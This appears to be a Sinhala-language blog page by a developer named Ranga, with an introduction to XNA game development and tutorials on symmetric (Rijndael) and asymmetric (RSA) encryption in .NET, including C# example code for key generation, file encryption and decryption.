ඔයගොල්ලන්ට මතකද මුලින්ම Computer එකක් අල්ලපු දවසෙ කලේ මොනවද කියල. මට නම් මතකයි. මම කලේ වෙන මොකවත් නෙවෙයි ගේම් ගහන එක තමයි. වෙන ඉති අහවල් දෙයක් කරන්නද. ඒ කලෙත් කවුරු හරි ගේම් එක Open කරල දීල ඔබන්න ඕන Keys ටිකත් පෙන්නුවට පස්සෙ ඔය ටික ඔබන එක තමයි. තව ටික කාලයක් යද්දි තනියම ගේම් එක Open කරගන්නත්, ඒක Play කරන්න ඉගෙන ගන්නත් ඉබේම වගේ පුලුවන් වුනා. හැබැයි ඒකාලෙ නම් හිතුනෙ නෑ කවුද මේ ගේම්ස් හැදුවෙ සහ කොහොමද මේව හැදුවෙ කියල. හිතන්න ඕන වුනෙත් නෑ. මොකද ඒකාලෙ ගේම්ස් ගහද්දි හිතන්න වෙන ගොඩක් දේවල් තිබුන. Need For Speed එකේ කාර් එක කොහොම හරි පාරෙ කෙලින් අරන් යන හැටි, වෙඩි තියාගන්න ගේම් එකක නම් දිගට හරහට වෙඩි තියන එවුන් ගෙන් කොහොම හරි බේරිල දුවන හැටි ගැන තමයි ඒකාලෙ හිතුනෙ :D
පස්සෙ කාලෙදි ගේම්ස් ගහන්න වගේම ගේම්ස් හදන්නත් පොඩි පොඩි ආසාවන් ඇති වුනා. ඉතින් ඔය එහෙන් මෙහෙන් Game Engine එහෙම හොයාගෙන ගේම් එකක් හදන්න ට්රයි එකක් දුන්නත් වැඩේ ටික දවසකින්ම එපාවුනා. මොකද මේ එක Game Engine එකක් වත් මට එච්චර ඇල්ලුවෙ නෑ. ඔහොම ඉන්න කොට තමයි Microsoft එකේ Bill අංකල් ගේ XNA කියන එක හම්බ වුනේ.අපරාදෙ කියන්න බෑ මට නම් මේක හොඳට අල්ලල ගියා. ඉතිං ඔන්න අද ඉඳන් මම කරන්න හදන්නෙ XNA ගැන මම ඉගෙන ගත්ත පොඩි පොඩි දේවල් ටිකක් හුදීජන පහන් සංවේගය උදෙසා මෙසේ ලියා තබන්න. ලියන්න කලින් කියන්න ඕන XNA ගැන මමත් මහ ලොකු දෙයක් දන්නේ නෑ. තාම දන්නෙ බොහොම ටිකයි. ඒ දන්න ටික අළුතෙන් Game development ගැන ඉගෙන ගන්න කාට හරි ප්රයෝජනයක් වේවි කියල හිතාගෙන තමයි මේ ලියන්නෙ. ඒවගේම තමයි මම මේ ලියන දෙයක මොකක් හරි වැරැද්දක් තිබ්බොත් මේ ගැන දන්න අය මාව නිවැරදි කරනවනම් බොහොම පිං.
මොකක්ද XNA කියන්නෙ.
XNA ගැන ඉගෙන ගන්න කලින් දැන ගන්න ඕනනේ XNA කියන්නේ මොකක්ද කියල. සමහර අය හිතන්න පුළුවන් XNA කියන්නෙ Game Engine එකක් කියල. නමුත් මේක Game Engine එකක් නෙවෙයි. මේක Framework එකක්. ඒවගේම .NET Framework එකත් එක්ක තමයි මේක වැඩ කරන්නෙ. 2D Games වගේම 3D Games හදන්නත් අවශ්ය කරන සියලුම පහසුකම් මේ සමඟ ලැබෙනව. අනිත් විශේෂ දේ තමයි මේ සඳහා මුදලක් ගෙවීම අවශ්ය නොවීම. ඒ කියන්නෙ මේක හම්බවෙන්නෙ නොමිලේ. තවදෙයක් තමයි අපිට මෙය Visual Studio එක්ක පාවිච්චි කරන්න පුළුවන් වීම. C# තමයි Code කරන්න පාවිච්චි කරන භාශාව. C# පාවිච්චි කරල පුරුදු කෙනෙක්ට ලේසියෙන්ම XNA ඉගෙන ගන්න පුළුවන්. Windows වලට වගේම Xbox හා Zune වලටත් XNA පාවිච්චි කරල ගේම්ස් හදන්න පුළුවන්. XNA වල දැනට ප්රධාන වශයෙන් Versions හතරක් ඇවිල්ල තියෙනව. මම මේ පාඩම් මාලාවට පාවිච්චි කරන්නෙ XNA Game Studio 3.1 කියන Version එක. මොකද මම දැනට පාවිච්චි කරන්නෙ Visual Studio 2008 (.NET Framework 3.5) නිසා. XNA Game Studio 4.0 පාවිච්චි කරන්න නම් Visual Studio 2010(.NET Framework 4.0) අවශ්ය වෙනවා.
දැන් එහෙනම් වැඩේ ඉස්සරහට කරගෙන යන්න කැමති කට්ටිය මෙතනින් ගිහිල්ල XNA Game Studio 3.1 Download කර ගන්න. Visual Studio Install කරගෙන නැත්නම් මෙතනින් ගිහිල්ල ඒකත් ගන්න. අවශ්යනම් Visual Studio 2008 නැතුව Visual Studio 2010 වුනත් Install කරගත්තට කමක් නෑ.
එහෙනම් ඊළඟ දවසෙ ඉඳන් XNA කුප්පිය පටන් ගමු.
Friday, July 1, 2011
Tuesday, March 22, 2011
දත්ත Encrypt කිරීම හා Decrypt කිරීම - Asymmetric Key Encryption
පසුගිය ලිපියෙන් කථා කලේ Symmetric key encryption ගැන. එතනදි වෙන්නෙ Encrypt කරන්න වගේම Decrypt කරන්නත් එකම Key එකක් භාවිතා කිරීමක්. අද ලිපියෙන් කථා කරන්නෙ Asymmetric key encryption ගැන එහෙමත් නැත්නම් Public key encryption ගැන. මෙහිදී Encrypt කරන්න එක Key එකකුත් Decrypt කරන්න තවත් Key එකකුත් භාවිතා කරනවා. මෙහි Encrypt කිරීමට භාවිතා කරන Key එක Public key වශයෙනුත් Decrypt කරන්න භාවිතා කරන Key එක Private key එක වශයෙනුත් හඳුන්වනවා. පහත රූපයෙන් දැක්වෙන්නෙ මේ ආකාරයට Encrypt කිරීම හා Decrypt කිරීම කරනු ලබන ආකාරයයි.
දැන් අපි සරලව විමසා බලමු මෙය සිදුවන ආකාරය. යම් දත්තයක් හුවමාරු කරගැනීමට අවශ්ය වන පාර්ශව දෙකක් සිටිනවා. දත්තය යවන පාර්ශවය Sender යනුවෙනුත්, එම දත්තය ලැබෙන පාර්ශවය Recipient යනුවෙනුත් හඳුන්වනවා. මම මුලින් සඳහන් කලා Encrypt කරන්නත් Decrypt කරන්නත් වෙන වෙනම Keys දෙකක් අවශ්ය බව. මෙහිදී මෙම Keys දෙකම සාදනු ලබන්නේ Recipient විසිනුයි. ඒසේ සාදනු ලබන Keys දෙකෙන් Private key එක Recipient ලඟ සුරක්ෂිතව තබා ගෙන Public key එක පමණක් Sender වෙත යවයි. ඉන්පසු Sender විසින් මෙම Public key එක මඟින් දත්තය Encrypt කර එය Recipient වෙත යවයි. දැන් Recipient ලඟ ඇති Private key එක භාවිතා කර එම දත්තය Decrypt කර ගත හැක.
Asymmetric key encryption ක්රමය ප්රමාණයෙන් විශාල දත්තයක් Encrypt කිරීමට සුදුසු වන්නේ නෑ. ඊට හේතුව නම් මෙය Symmetric key encryption ක්රමය තරම් වේගවත් නොවීමයි. එම නිසා සමහර අවස්ථාවන් වලදී Asymmetric key encryption ක්රමය හා Symmetric key encryption යන ක්රම දෙකම එකවිට යොදා ගෙන දත්ත හුවමාරුව සිදුකරනු ලබයි. මේ සඳහා එක් උදාහරණයක් වන්නේ HTTPS Protocol එකෙහි භාව්තයයි. (HTTPS යනු HTTP හා SSL යන Protocols දෙකෙහි එකතුවකි.) Gmail, Yahoo වැනි Email සේවාවන් වලදී මෙන්ම වෙනත් ආරක්ෂාකාරීව දත්ත හුවමාරු කරගැනීමට අවශ්ය වෙබ් අඩවිවල මෙම Protocol එක භාවිතා කරයි. මෙය සිදුවන ආකාරය පහත රූපයෙන් දැක්වේ.
මෙහි දැක්වෙන්නේ Web browser එකක් හා Web server එකක් අතර සිදුවන පනිවුඩ හුවමාරුවකි. අංක වලින් දක්වා ඇත්තේ පනිවුඩ හුවමාරුව සිදුවන අනුපිලිවෙලයි.
1. Web browser එක මඟින් Web server එක වෙත ආරක්ෂිත සබඳතාවයක් ඇති කර ගැනීම සඳහා ඉල්ලීමක් යැවීම. (https://mail.google.com වැනි ඉල්ලිමක්)
2. Web server එක මඟින් Public key එකක් හා Private key එකක් සදා ඉන් Public key එක SSL Certificate එක සමඟ Web browser එක වෙත එවීම.
3. Web browser එක මඟින් SSL Certificate එකෙහි වලංගුතාවය පරීක්ෂාකර බලා එය වලංගු එකක් නම් Symmetric key encryption සඳහා භාවිතා කල හැකි Key එකක් සාදා එය Web server එක විසින් එවනු ලැබූ Public key එක මඟින් Encrypt කර (Asymmetric key encryption ක්රමයට) එය Web server එක වෙතට යැවීම.
4. Web server එක Web browser එක මඟින් Encrypt කර එවනු ලැබූ Key එක තමා ලඟ ඇති Private key එක මඟින් Decrypt කර ගැනීම. (Asymmetric key encryption ක්රමයට) දැන් Web browser එක සතුව හා Web server එක සතුව Symmetric key encryption සඳහා භාවිතා කල හැකි Key එක පවතින අතර එය භාවිතා කර ආරක්ෂිත පණිවුඩ හුවමාරුව සිදුකර ගැනීම.
මෙහිදී Symmetric key encryption සඳහා භාවිතා කරන Key එක හුවමාරු කර ගැනීම සඳහා පමනක් Asymmetric key encryption ක්රමය යොදා ගෙන ඇති අතර අනෙකුත් දත්ත හුවමාරු කර ගැනීම සඳහා Symmetric key encryption ක්රමය යොදා ගෙන ඇත.
අපි ඊලඟට බලමු Asymmetric key encryption ක්රමයට දත්ත Encrypt කිරීම හා Decrypt කිරීම .NET භාවිතයෙන් කරන ආකාරය.
මේ සඳහා අපි භාවිතා කරන්නේ RSACryptoServiceProvider Class එකයි. මෙය භාවිතා කර දත්ත Encrypt කිරීමත් Decrypt කිරීමත් Key pair එකක් (Public key එක හා Private key එක) සකස් කරගැනීමත් කරන්න පුළුවන්. RSACryptoServiceProvider Class එක භාවිතා කර Key pair එකක් සකස් කර ගත් පසු එයින් Public key එක Export කර ගැනීමෙන් එය දත්ත Encrypt කරගැනීම සඳහා භාවිතා කරන්න පුළුවන්. මේ සඳහා RSACryptoServiceProvider Class එකෙහි ToXmlString Method එක භාවිතා කල හැකිය. මෙහි Parameter එක වශයෙන් false යෙදීමෙන් Public key එක පමණක් Export වේ. මෙහි Parameter එක වශයෙන් true යෙදීමෙන් Public key එක මෙන්ම Private key එකත් Export කර ගත හැකිය. මෙහිදී Keys Export වන්නේ XML Format එකෙනි. එම නිසා පහසුවෙන් මෙය පරිඝණක දෙකක් අතර හුවමාරු කර ගත හැකිය.
අනෙක් වැදගත් කාරණය වන්නේ Encrypt කරන ලද දත්තයක් නැවත Decrypt කර ගැනීම සඳහා Private key එක වෙනම ගබඩා කරගෙන සිටිය යුතු වීමයි. මෙම Key එක පරිඝණකයේ ගබඩා කිරීම හා Decrypt කිරීමේදී නැවත එය ලබා ගැනීමට .NET Framework එකට ස්වයංක්රීයව සිදුකල හැකියි. RSACryptoServiceProvider Class එකෙහි PersistKeyInCsp Method එක භාවිතා කර Private key එක පමණක් පරිඝණකයේ ගබඩා කල හැකිය. මීට සහය වීම සඳහා තවත් Class එකක් භාවිතා කල යුතුය. එය නම් CspParameters Class එකයි. මෙය භාවිතා කරන අන්දම පහත Code එකෙන් දැක්වේ.
දැන් අපි සරල උදාහරණයකින් මෙය විමසා බලමු. මා මේ සඳහා වෙන වෙනම Application දෙකක් සකස් කර ගන්නවා, එකක් Key pair එක සකස් කර එය Export කර ගැනීමට හා Decrypt කිරීමටත්, අනෙක Export කරන ලද Public key එක ලබා ගෙන එය භාවිතා කර File එකක් Encrypt කිරීමටත් යොදා ගන්නවා.
පළමු Application එක පහත පරිදි Code කර ගන්න පුළුවන්.
අපගේ දෙවැනි Application එක පහත පරිදි විය යුතුයි.
මෙය භාවිතා කිරීමේදී මුලින්ම පලමු Application එකෙහි ExportKey Method එක Call කර පසුව දෙවන Application එකෙහි Encrypt Method එක Call කරන්න. පසුව Encrypt වූ File එක Decrypt කර ගැනීමට පලමු Application එකෙහි Decrypt Method එක Call කරන්න.
දැන් අපි සරලව විමසා බලමු මෙය සිදුවන ආකාරය. යම් දත්තයක් හුවමාරු කරගැනීමට අවශ්ය වන පාර්ශව දෙකක් සිටිනවා. දත්තය යවන පාර්ශවය Sender යනුවෙනුත්, එම දත්තය ලැබෙන පාර්ශවය Recipient යනුවෙනුත් හඳුන්වනවා. මම මුලින් සඳහන් කලා Encrypt කරන්නත් Decrypt කරන්නත් වෙන වෙනම Keys දෙකක් අවශ්ය බව. මෙහිදී මෙම Keys දෙකම සාදනු ලබන්නේ Recipient විසිනුයි. ඒසේ සාදනු ලබන Keys දෙකෙන් Private key එක Recipient ලඟ සුරක්ෂිතව තබා ගෙන Public key එක පමණක් Sender වෙත යවයි. ඉන්පසු Sender විසින් මෙම Public key එක මඟින් දත්තය Encrypt කර එය Recipient වෙත යවයි. දැන් Recipient ලඟ ඇති Private key එක භාවිතා කර එම දත්තය Decrypt කර ගත හැක.
Asymmetric key encryption ක්රමය ප්රමාණයෙන් විශාල දත්තයක් Encrypt කිරීමට සුදුසු වන්නේ නෑ. ඊට හේතුව නම් මෙය Symmetric key encryption ක්රමය තරම් වේගවත් නොවීමයි. එම නිසා සමහර අවස්ථාවන් වලදී Asymmetric key encryption ක්රමය හා Symmetric key encryption යන ක්රම දෙකම එකවිට යොදා ගෙන දත්ත හුවමාරුව සිදුකරනු ලබයි. මේ සඳහා එක් උදාහරණයක් වන්නේ HTTPS Protocol එකෙහි භාව්තයයි. (HTTPS යනු HTTP හා SSL යන Protocols දෙකෙහි එකතුවකි.) Gmail, Yahoo වැනි Email සේවාවන් වලදී මෙන්ම වෙනත් ආරක්ෂාකාරීව දත්ත හුවමාරු කරගැනීමට අවශ්ය වෙබ් අඩවිවල මෙම Protocol එක භාවිතා කරයි. මෙය සිදුවන ආකාරය පහත රූපයෙන් දැක්වේ.
මෙහි දැක්වෙන්නේ Web browser එකක් හා Web server එකක් අතර සිදුවන පනිවුඩ හුවමාරුවකි. අංක වලින් දක්වා ඇත්තේ පනිවුඩ හුවමාරුව සිදුවන අනුපිලිවෙලයි.
1. Web browser එක මඟින් Web server එක වෙත ආරක්ෂිත සබඳතාවයක් ඇති කර ගැනීම සඳහා ඉල්ලීමක් යැවීම. (https://mail.google.com වැනි ඉල්ලිමක්)
2. Web server එක මඟින් Public key එකක් හා Private key එකක් සදා ඉන් Public key එක SSL Certificate එක සමඟ Web browser එක වෙත එවීම.
3. Web browser එක මඟින් SSL Certificate එකෙහි වලංගුතාවය පරීක්ෂාකර බලා එය වලංගු එකක් නම් Symmetric key encryption සඳහා භාවිතා කල හැකි Key එකක් සාදා එය Web server එක විසින් එවනු ලැබූ Public key එක මඟින් Encrypt කර (Asymmetric key encryption ක්රමයට) එය Web server එක වෙතට යැවීම.
4. Web server එක Web browser එක මඟින් Encrypt කර එවනු ලැබූ Key එක තමා ලඟ ඇති Private key එක මඟින් Decrypt කර ගැනීම. (Asymmetric key encryption ක්රමයට) දැන් Web browser එක සතුව හා Web server එක සතුව Symmetric key encryption සඳහා භාවිතා කල හැකි Key එක පවතින අතර එය භාවිතා කර ආරක්ෂිත පණිවුඩ හුවමාරුව සිදුකර ගැනීම.
මෙහිදී Symmetric key encryption සඳහා භාවිතා කරන Key එක හුවමාරු කර ගැනීම සඳහා පමනක් Asymmetric key encryption ක්රමය යොදා ගෙන ඇති අතර අනෙකුත් දත්ත හුවමාරු කර ගැනීම සඳහා Symmetric key encryption ක්රමය යොදා ගෙන ඇත.
අපි ඊලඟට බලමු Asymmetric key encryption ක්රමයට දත්ත Encrypt කිරීම හා Decrypt කිරීම .NET භාවිතයෙන් කරන ආකාරය.
මේ සඳහා අපි භාවිතා කරන්නේ RSACryptoServiceProvider Class එකයි. මෙය භාවිතා කර දත්ත Encrypt කිරීමත් Decrypt කිරීමත් Key pair එකක් (Public key එක හා Private key එක) සකස් කරගැනීමත් කරන්න පුළුවන්. RSACryptoServiceProvider Class එක භාවිතා කර Key pair එකක් සකස් කර ගත් පසු එයින් Public key එක Export කර ගැනීමෙන් එය දත්ත Encrypt කරගැනීම සඳහා භාවිතා කරන්න පුළුවන්. මේ සඳහා RSACryptoServiceProvider Class එකෙහි ToXmlString Method එක භාවිතා කල හැකිය. මෙහි Parameter එක වශයෙන් false යෙදීමෙන් Public key එක පමණක් Export වේ. මෙහි Parameter එක වශයෙන් true යෙදීමෙන් Public key එක මෙන්ම Private key එකත් Export කර ගත හැකිය. මෙහිදී Keys Export වන්නේ XML Format එකෙනි. එම නිසා පහසුවෙන් මෙය පරිඝණක දෙකක් අතර හුවමාරු කර ගත හැකිය.
අනෙක් වැදගත් කාරණය වන්නේ Encrypt කරන ලද දත්තයක් නැවත Decrypt කර ගැනීම සඳහා Private key එක වෙනම ගබඩා කරගෙන සිටිය යුතු වීමයි. මෙම Key එක පරිඝණකයේ ගබඩා කිරීම හා Decrypt කිරීමේදී නැවත එය ලබා ගැනීමට .NET Framework එකට ස්වයංක්රීයව සිදුකල හැකියි. RSACryptoServiceProvider Class එකෙහි PersistKeyInCsp Method එක භාවිතා කර Private key එක පමණක් පරිඝණකයේ ගබඩා කල හැකිය. මීට සහය වීම සඳහා තවත් Class එකක් භාවිතා කල යුතුය. එය නම් CspParameters Class එකයි. මෙය භාවිතා කරන අන්දම පහත Code එකෙන් දැක්වේ.
CspParameters csp = new CspParameters(); csp.KeyContainerName = "privatekey"; RSACryptoServiceProvider rsa = new RSACryptoServiceProvider(csp); rsa.PersistKeyInCsp = true;මෙහි csp යනුවෙන් CspParameters Object එකක් සකස් කර ඇත. ඉන් පසු එහි KeyContainerName වලට යම් නමක් දිය හැකිය. මම මෙහිදී privatekey යනුවෙන් නම සඳහන් කර ඇත. මෙහිදී සිදුවන්නේ එම නමින් Container එකක් සකස් කර ගැනීමයි. ඉන්පසු rsa යනුවෙන් RSACryptoServiceProvider Object එකක් සාදා එහි Constructor එකට csp Object එක ලබා දී ඇත. අවසාන වශයෙන් මෙහිදී සිදුවන්නේ rsa Object එක මඟින් සකස් කරන Private key එක privatekey යනුවෙන් Container එකක් සකස් කර එහි ගබඩා කිරීමයි. Decrypt කිරීමකදී මෙම Private key එක අවශ්ය වූ විට ස්වයංක්රීයව එය ලබා ගත හැක.
දැන් අපි සරල උදාහරණයකින් මෙය විමසා බලමු. මා මේ සඳහා වෙන වෙනම Application දෙකක් සකස් කර ගන්නවා, එකක් Key pair එක සකස් කර එය Export කර ගැනීමට හා Decrypt කිරීමටත්, අනෙක Export කරන ලද Public key එක ලබා ගෙන එය භාවිතා කර File එකක් Encrypt කිරීමටත් යොදා ගන්නවා.
පළමු Application එක පහත පරිදි Code කර ගන්න පුළුවන්.
void ExportKey() {
CspParameters csp = new CspParameters();
csp.KeyContainerName = "privatekey";
RSACryptoServiceProvider rsa = new RSACryptoServiceProvider(csp);
rsa.PersistKeyInCsp = true;
string xml = rsa.ToXmlString(false);
StreamWriter writer = new StreamWriter(@"c:\key.xml");
writer.Write(xml);
writer.Close();
}
මෙහිදී සිදුවන්නේ ras Object එක මඟින් නිර්මාණය කරන Private key එක පරිඝණකයේ ගබඩා කිරීමත්, Public key එක XML File එකක් වශයෙන් ගබඩාකර ගැනීමත්ය.void Decrypt() {
CspParameters csp = new CspParameters();
csp.KeyContainerName = "privatekey";
RSACryptoServiceProvider rsa = new RSACryptoServiceProvider(csp);
FileStream input = new FileStream(@"C:\encrypted file.txt", FileMode.Open, FileAccess.Read);
byte[] encdata = new byte[input.Length];
input.Read(encdata, 0, (int)input.Length);
input.Close();
byte[] decdata = rsa.Decrypt(encdata, false);
FileStream output = new FileStream(@"C:\decrypted file.txt", FileMode.Create, FileAccess.Write);
output.Write(decdata, 0, decdata.Length);
output.Close();
}
මෙහිදී සිදුවන්නේ privatekey යනුවෙන් සඳහන් Container එකෙන් Private key එක ලබා ගෙන එමඟින් encrypted file.txt යන File එක Decrypt කර එය decrypted file.txt යනුවෙන් Save කර ගැනීමයි.අපගේ දෙවැනි Application එක පහත පරිදි විය යුතුයි.
void Encrypt() {
RSACryptoServiceProvider rsa = new RSACryptoServiceProvider();
StreamReader reader = new StreamReader(@"c:\key.xml");
rsa.FromXmlString(reader.ReadToEnd());
FileStream input = new FileStream(@"C:\original file.txt", FileMode.Open, FileAccess.Read);
byte[] data = new byte[input.Length];
input.Read(data, 0, (int)input.Length);
input.Close();
byte[] encdata = rsa.Encrypt(data, false);
FileStream output = new FileStream(@"C:\encrypted file.txt", FileMode.Create, FileAccess.Write);
output.Write(encdata, 0, encdata.Length);
output.Close();
}
මෙහිදී මුලින්ම rsa Object එක මඟින් XML File එකක් වශයෙන් තියෙන Public key එක ලබා ගනියි. ඒ සඳහා FromXmlString Method එක භාවිතා කර ඇත. ඉන් පසු එම Public key එක භාවිතා කර original file.txt යනුවෙන් සඳහන් File එක Encrypt එය encrypted file.txt යනුවෙන් Save කර ගනියි.මෙය භාවිතා කිරීමේදී මුලින්ම පලමු Application එකෙහි ExportKey Method එක Call කර පසුව දෙවන Application එකෙහි Encrypt Method එක Call කරන්න. පසුව Encrypt වූ File එක Decrypt කර ගැනීමට පලමු Application එකෙහි Decrypt Method එක Call කරන්න.
Posted by
Ranga
at
3:21 PM
2
comments
Email ThisBlogThis!Share to XShare to FacebookShare to Pinterest
Sunday, March 6, 2011
දත්ත Encrypt කිරීම හා Decrypt කිරීම - Symmetric Key Encryption
මම කලින් ලිපියෙ කිව්වෙ Hash value එක ගැන. මේ වගේ දෙයක් අවශ්ය වෙන්නෙ අපි භාවිතා කරන දත්ත වලට ආරක්ෂාවක් ලබා දීමටයි. අද මම කියන්න යන්නෙත් දත්ත ආරක්ෂාව හා සම්භන්ධ තවත් වැදගත් දෙයක් වන Encryption සම්භන්ධවයි.
රහස්ය භාවය රැකීම අත්යාවශ්ය වන දත්තයක් යම් පාර්ශව දෙකක් අතර හුවමාරු කර ගැනීමේදී එය තෙවන පාර්ශවයක් අතට පත් වුවහොත් ඉන් අත්වන ප්රථිපලය භයානක විය හැකියි. උදාහරණයක් විදියට E-Mail ගිණුමට පිවිසීම සඳහා දෙනු ලබන මුරපදය E-Mail Client එක හා Mail Server එක අතර හුවමාරු වීමේදී අතරමැද සිටින්නෙකු විසින් එම මුරපදය ලබා ගත හොත් එය විශාල හානියක් විය හැකියි. මේ සඳහා භාවිතා කරනු ලබන ආරක්ෂක උපක්රමය නම් මුරපදය Encrypt කර යැවීමයි. මෙවිට අතරමැදියෙකුට Encrypt වූ මුරපදය ලබා ගැනීමට හැකි වුවත් නියම මුරපදය ලබා ගැනීමට හැකියාවක් ලැබෙන්නේ නෑ.
Encrypt ගැන කථා කරද්දි කියැවෙන අනිත් දේ තමයි Decrypt කියන එක. Encrypt කරන ලද දත්තයකින් නැවත මුල් දත්තය ලබා ගැනීමට Decrypt කිරීම අවශ්ය වේ.
Encrypt කරන මූලික ආකාර 2 ක් තියෙනවා. එකක් තමයි Symmetric key encryption එහෙමත් නැත්නම් Secret key encryption. අනෙක තමයි Asymmetric key encryption එහෙමත් නැත්නම් Public key encryption. මම අද කියන්න හදන්නේ මේ පලවෙනි ක්රමය ගැන. ඒ කියන්නෙ Symmetric key encryption ගැන.
මෙතනදි වැදගත් වන තවත් දෙයක් තමයි Key එක. දත්තයක් Encrypt කරන්න වගේම Decrypt කරන්නත් Key එකක් අවශ්ය වෙනවා. Symmetric key encryption ක්රමයේදී Encrypt කරන්න වගේම Decrypt කරන්නත් යොදා ගන්නේ එකම Key එකක්. Asymmetric key encryption ක්රමයේ දී Encrypt කරන්න එක Key එකකුත් Decrypt කරන්න තවත් Key එකකුත් යොදා ගන්නවා.
ඉහත රූපයෙන් දැක්වෙන්නේ Symmetric key encryption ක්රමය සිදුවන ආකාරයයි. මෙහිදී Sender විසින් Plain text ආකාරයට යවන දත්තයක් Key එකක් භාවිතා කර Encrypt කර ගැනීමක් සිදුකරනවා. මෙසේ Encrypt කරන ලද දත්තය Cipher text යනුවෙන් හඳුන්වනවා. නැවත එම Cipher text එක පෙර භාවිතා කල Key එකම භාවිතා කර Decrypt කර Recipient වෙත ලැබෙන්නට සලස්වනවා.
දැන් අපි බලමු .NET භාවිතා කර Encrypt කිරීම හා Decrypt කරන අකාරය. මේ සඳහා භාවිතා කල හැකි Algorithms කිහිපයක්ම .NET තුල Implement කර තියෙනවා. RijndaelManaged, DES, TripleDES වැනි Classes අපට මේ සඳහා යොදා ගත හැකියි. මම අද භාවිතා කරන්නේ RijndaelManaged Class එකයි. මෙය System.Security.Cryptography Namespace එක තුල සොයා ගත හැකිය.
Encrypt කිරීමක් කරන්න කලින් ඒ සඳහා අවශ්ය Key එක සකස් කර ගැනීම කරන්න වෙනවා. අපි මුලින් ම බලමු මේ Key එක සකස් කරන ආකාරය. මේ සඳහා අපිට Rfc2898DeriveBytes Class එක භාවිතා කරන්න පුළුවන්. මෙහිදී සිදුවන්නේ අපි ලබා දෙන මුරපදයකට අනුව Key එකක් සකස් කර ගැනීමයි. එවිට අපිට මුරපදයක් භාවිතයෙන් පහසුවෙන්ම Encrypt කිරීම හා Decrypt කර ගත හැකියි. මෙහිදී අප ලබා දෙන මුරපදය කෙලින්ම Key එක වශයෙන් භාවිතා නොකරන අතර මුරපදයට අනුව Key එකක් නිපදවා එම Key එක භාවිතා කිරීම පමණක් සිදුකරනු ලබයි. මෙම Key එක සකස් කර ගැනීමට අපට මුරපදයට අමතරව Salt යනුවෙන් තවත් Value එකක් අවශ්ය වෙනවා. මෙය Byte Array එකක් වශයෙන් ලබා දිය යුතු වන අතර මෙහි අවම වශයෙන් Bytes 8 ක් වත් තිබිය යුතුය.
පහත Code එකෙන් Key එක හදා ගන්න ආකාරය දැක් වෙනවා.
පහත Code එකෙන් දැක්වෙන්නේ Plain text ආකාරයට ඇති File එකක් Encrypt කරන ආකාරයයි.
මෙහිදී Encrypt කරන ලද දත්ත output File Stream එකට ලියාගැනීමට CryptoStream Object එකක් භාවිතා කරන්න පුලුවන්.
මේ අකාරයෙන් Encrypt කරන ලද File එක පහත ආකාරයට Decrypt කරගන්න පුළුවන්. මෙහිදී Key එක හා IV එක, Encrypt කිරීමේදී යොදා ගත් ආකාරයෙන්ම යොදාගත යුතුයි. ඒ සඳහා password එක හා salt එක එකම ආකාරයෙන් ලබා දිය යුතුයි.
රහස්ය භාවය රැකීම අත්යාවශ්ය වන දත්තයක් යම් පාර්ශව දෙකක් අතර හුවමාරු කර ගැනීමේදී එය තෙවන පාර්ශවයක් අතට පත් වුවහොත් ඉන් අත්වන ප්රථිපලය භයානක විය හැකියි. උදාහරණයක් විදියට E-Mail ගිණුමට පිවිසීම සඳහා දෙනු ලබන මුරපදය E-Mail Client එක හා Mail Server එක අතර හුවමාරු වීමේදී අතරමැද සිටින්නෙකු විසින් එම මුරපදය ලබා ගත හොත් එය විශාල හානියක් විය හැකියි. මේ සඳහා භාවිතා කරනු ලබන ආරක්ෂක උපක්රමය නම් මුරපදය Encrypt කර යැවීමයි. මෙවිට අතරමැදියෙකුට Encrypt වූ මුරපදය ලබා ගැනීමට හැකි වුවත් නියම මුරපදය ලබා ගැනීමට හැකියාවක් ලැබෙන්නේ නෑ.
Encrypt ගැන කථා කරද්දි කියැවෙන අනිත් දේ තමයි Decrypt කියන එක. Encrypt කරන ලද දත්තයකින් නැවත මුල් දත්තය ලබා ගැනීමට Decrypt කිරීම අවශ්ය වේ.
Encrypt කරන මූලික ආකාර 2 ක් තියෙනවා. එකක් තමයි Symmetric key encryption එහෙමත් නැත්නම් Secret key encryption. අනෙක තමයි Asymmetric key encryption එහෙමත් නැත්නම් Public key encryption. මම අද කියන්න හදන්නේ මේ පලවෙනි ක්රමය ගැන. ඒ කියන්නෙ Symmetric key encryption ගැන.
මෙතනදි වැදගත් වන තවත් දෙයක් තමයි Key එක. දත්තයක් Encrypt කරන්න වගේම Decrypt කරන්නත් Key එකක් අවශ්ය වෙනවා. Symmetric key encryption ක්රමයේදී Encrypt කරන්න වගේම Decrypt කරන්නත් යොදා ගන්නේ එකම Key එකක්. Asymmetric key encryption ක්රමයේ දී Encrypt කරන්න එක Key එකකුත් Decrypt කරන්න තවත් Key එකකුත් යොදා ගන්නවා.
දැන් අපි බලමු .NET භාවිතා කර Encrypt කිරීම හා Decrypt කරන අකාරය. මේ සඳහා භාවිතා කල හැකි Algorithms කිහිපයක්ම .NET තුල Implement කර තියෙනවා. RijndaelManaged, DES, TripleDES වැනි Classes අපට මේ සඳහා යොදා ගත හැකියි. මම අද භාවිතා කරන්නේ RijndaelManaged Class එකයි. මෙය System.Security.Cryptography Namespace එක තුල සොයා ගත හැකිය.
Encrypt කිරීමක් කරන්න කලින් ඒ සඳහා අවශ්ය Key එක සකස් කර ගැනීම කරන්න වෙනවා. අපි මුලින් ම බලමු මේ Key එක සකස් කරන ආකාරය. මේ සඳහා අපිට Rfc2898DeriveBytes Class එක භාවිතා කරන්න පුළුවන්. මෙහිදී සිදුවන්නේ අපි ලබා දෙන මුරපදයකට අනුව Key එකක් සකස් කර ගැනීමයි. එවිට අපිට මුරපදයක් භාවිතයෙන් පහසුවෙන්ම Encrypt කිරීම හා Decrypt කර ගත හැකියි. මෙහිදී අප ලබා දෙන මුරපදය කෙලින්ම Key එක වශයෙන් භාවිතා නොකරන අතර මුරපදයට අනුව Key එකක් නිපදවා එම Key එක භාවිතා කිරීම පමණක් සිදුකරනු ලබයි. මෙම Key එක සකස් කර ගැනීමට අපට මුරපදයට අමතරව Salt යනුවෙන් තවත් Value එකක් අවශ්ය වෙනවා. මෙය Byte Array එකක් වශයෙන් ලබා දිය යුතු වන අතර මෙහි අවම වශයෙන් Bytes 8 ක් වත් තිබිය යුතුය.
පහත Code එකෙන් Key එක හදා ගන්න ආකාරය දැක් වෙනවා.
string password = "mypassword";
byte[] salt = Encoding.ASCII.GetBytes("salt value");
Rfc2898DeriveBytes keygen = new Rfc2898DeriveBytes(password, salt);
RijndaelManaged enc = new RijndaelManaged();
enc.Key = keygen.GetBytes(enc.KeySize / 8);
enc.IV = keygen.GetBytes(enc.BlockSize / 8);
